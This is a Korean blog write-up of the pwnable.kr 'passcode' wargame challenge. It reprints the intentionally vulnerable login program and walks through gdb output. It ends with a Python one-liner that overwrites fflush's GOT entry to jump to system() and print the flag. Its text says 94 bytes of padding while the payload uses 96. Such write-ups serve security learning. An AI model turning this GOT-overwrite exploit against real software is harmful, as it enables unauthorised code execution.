본문 바로가기
STUDY/pwnable.kr

[pwnable.kr] passcode

by CH@3M 2019. 11. 27.

이번 문제는 passcode라는 문제이다.

소스코드는 다음과 같다.

#include <stdio.h>
#include <stdlib.h>

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

 처음에 passcode1==338150 && passcode2==13371337 의 조건을 맞춰주는건가 했지만, scanf 함수를 보면 이상한 점이 보인다.

scanf("%d", passcode1); : passcode1이라는 주소에 입력받은 값이 들어간다.

scanf("%d", &passcode1); : passcode1이라는 변수의 주소를 참조하여, 그 주소에 입력받은 값이 들어간다.

게다가 passcode1은 초기화를 안해주기 때문에 쓰레기 값

이 존재할 것이고, 그래서 다음과 같이 실행중에 Segmentation fault가 난다.

welcome()함수를 보면 100bytes까지 쓸수있으며, ebp-0x70에 입력 값을 받고 있다.

login() 함수를 보면 passcode1과 passcode2가 ebp-0x10과 ebp-0xc 위치에 있다는 것을 알 수 있다.

따라서 welcome()함수에서 100bytes를 받을 수 있는데, passcode1까지의 거리는 (ebp-0x70) - (ebp-0x10) = 0x60 = 96 bytes 이다. 즉, 마지막 4bytes를 이용해 passcode1 값을 조작할 수 있다.

login() 함수 안에 system() 함수가 존재하는데, 이를 어떻게 이용할 수 있을가?

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

scanf("%d", passcode1); 다음에 fflush(stdin); 이 있는데 fflush()대신 system()함수를 호출하는 것이 가능하다면, scanf("%d", passcode1); 다음에 system()함수가 cat flag를 해줄 것이다.

즉, passcode1을 주소로 하는 곳에 원하는 값을 넣을 수 있는 것임으로, fflush got의 주소에서 system 함수를 호출하도록 하는 것이다.

다시 gdb로 보면 fflush의 plt주소는 다음과 같다.

0x08048593 <+47>: call   0x8048430 <fflush@plt>

이 주소를 보면 fflush의 got주소인 0x804a004로 jmp 하고있다.

(gdb) x/i 0x8048430
   0x8048430 <fflush@plt>:	jmp    *0x804a004
(gdb) x/i 0x804a004
   0x804a004 <fflush@got.plt>:	test   %al,%ss:(%eax,%ecx,1)

이 fflush의 got주소대신 system함수를 호출해준다면 flag를 얻을 수 있을 것이다.

system함수의 시작주소는 login() 함수를 gdb로 봤을 때 0x080485e3 인 것을 알 수 있다.

   0x080485e3 <+127>:	movl   $0x80487af,(%esp)
   0x080485ea <+134>:	call   0x8048460 <system@plt>

 페이로드는 다음과 같이 구성할 수 있다.

그리고 scanf가 10진수로 입력을 받으므로 0x080485e3 주소를 10진수로 변환한 134514147로 써줘야한다.

dummy(94bytes) + fflush의 got주소 + system 주소

(python -c 'print "A"*96 + "\x04\xa0\x04\x08" + "134514147"'; cat) | ./passcode

끝!

반응형

'STUDY > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] random  (0) 2020.02.07
[pwnable.kr] flag  (0) 2019.11.11
[pwnable.kr] bof  (0) 2019.11.11
[pwnable.kr] unlink  (0) 2019.10.07